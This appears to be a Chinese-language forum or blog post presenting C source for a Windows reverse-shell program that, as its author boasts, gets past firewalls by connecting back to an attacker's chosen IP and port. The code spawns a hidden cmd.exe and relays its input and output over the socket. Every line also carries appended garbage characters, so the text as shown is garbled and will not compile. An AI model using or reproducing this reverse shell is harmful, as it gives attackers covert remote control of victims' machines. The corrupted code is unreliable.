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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +y,T4^{  
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/* ============================== 4]rnY~  
Rebound port in Windows NT pny11C  
By wind,2006/7 _geWE0 E  
===============================*/ #ml S}~n  
#include x"eRJii?  
#include Xk:OL,c  
anuL1f XO  
#pragma comment(lib,"wsock32.lib") BoA/6FRi[  
R7]l{2V#^  
void OutputShell(); k=2Lo  
SOCKET sClient; h~A/y!s  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; *zNYZ#  
#:%&x@@c3P  
void main(int argc,char **argv) {qDSPo  
{ jy7\+i  
WSADATA stWsaData; MtM%{=&_  
int nRet; pEw"8U  
SOCKADDR_IN stSaiClient,stSaiServer; O7u(}$D L  
< 3(LWxw  
if(argc != 3) uvgdY  
{ h}-3\8 >  
printf("Useage:\n\rRebound DestIP DestPort\n"); oYHj~t  
return; XoXM ^*Vk  
}  ,t}vz 7  
s|@6S8E  
WSAStartup(MAKEWORD(2,2),&stWsaData); -)s qc P  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J%8(kWQ|  
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stSaiClient.sin_family = AF_INET; g6nkZyw  
stSaiClient.sin_port = htons(0); du+y5dw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k2E0/ @f{k  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 5&xB6|k  
{ t4{rb, }W  
printf("Bind Socket Failed!\n"); &6DMk-  
return; (VS5V31"  
} ?xK8#  
mCRt8 rY;  
stSaiServer.sin_family = AF_INET; ;g8R4!J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PxF <\pu&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U!T~!C^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -\+s#kE:  
{ .ELGWF`>  
printf("Connect Error!"); Usg K  
return; c_\YBe]wJ  
} ;V@WtZv  
OutputShell(); 7}1~%:6  
} ;sfb 4x4  
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void OutputShell() 7ByTnYe~S  
{ ]&?Y~"{cD  
char szBuff[1024]; Qg^cf<X{i  
SECURITY_ATTRIBUTES stSecurityAttributes; Kfm5i Q  
OSVERSIONINFO stOsversionInfo; 8'n/?.7cX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NIh:D bE  
STARTUPINFO stStartupInfo; & SiP\65N  
char *szShell; MRQ.`IoS  
PROCESS_INFORMATION stProcessInformation; 9Kr+\F  
unsigned long lBytesRead; r$5i Wu  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lT4Hn;tnN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _4TH4~cY  
stSecurityAttributes.lpSecurityDescriptor = 0; "~`I::'c  
stSecurityAttributes.bInheritHandle = TRUE; Z.d 7U~_  
FE" y\2}  
- *F(7$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `))\}C@k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H|,Oswk~-  
a-y+@#;2_  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9F6F~::l}  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hip&8NW  
stStartupInfo.wShowWindow = SW_HIDE; ;V^ 112|C  
stStartupInfo.hStdInput = hReadPipe; 1D16   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; El<]b7  
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GetVersionEx(&stOsversionInfo); rJFc({ 0  
qNI, 62  
switch(stOsversionInfo.dwPlatformId) )q 0.0<f  
{ 5pU2|Bk /  
case 1: ~i@Y|38C  
szShell = "command.com"; -D xL0:E  
break; YRv&1!VLE  
default: HN_d{ 3  
szShell = "cmd.exe"; Tq NadHQ  
break; pp.6Ex (R  
} x??pBhJH  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  ~UyV<  
ktK_e  
send(sClient,szMsg,77,0); <Gav5R c  
while(1) iY`%SmB  
{ MWI4Y@1bS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |nbf'  
if(lBytesRead) sBu=e7  
{ N+zKr/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); : q ti  
send(sClient,szBuff,lBytesRead,0); ii%+jdi.  
} CL)lq)1(  
else DKfE.p)  
{ :}r.  
lBytesRead=recv(sClient,szBuff,1024,0); uqM yoIc  
if(lBytesRead<=0) break; f} Np/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vgD {qg@  
} ,REJt  
} V<D.sd<  
/ y A7%2  
return; #Pw2Q  
}
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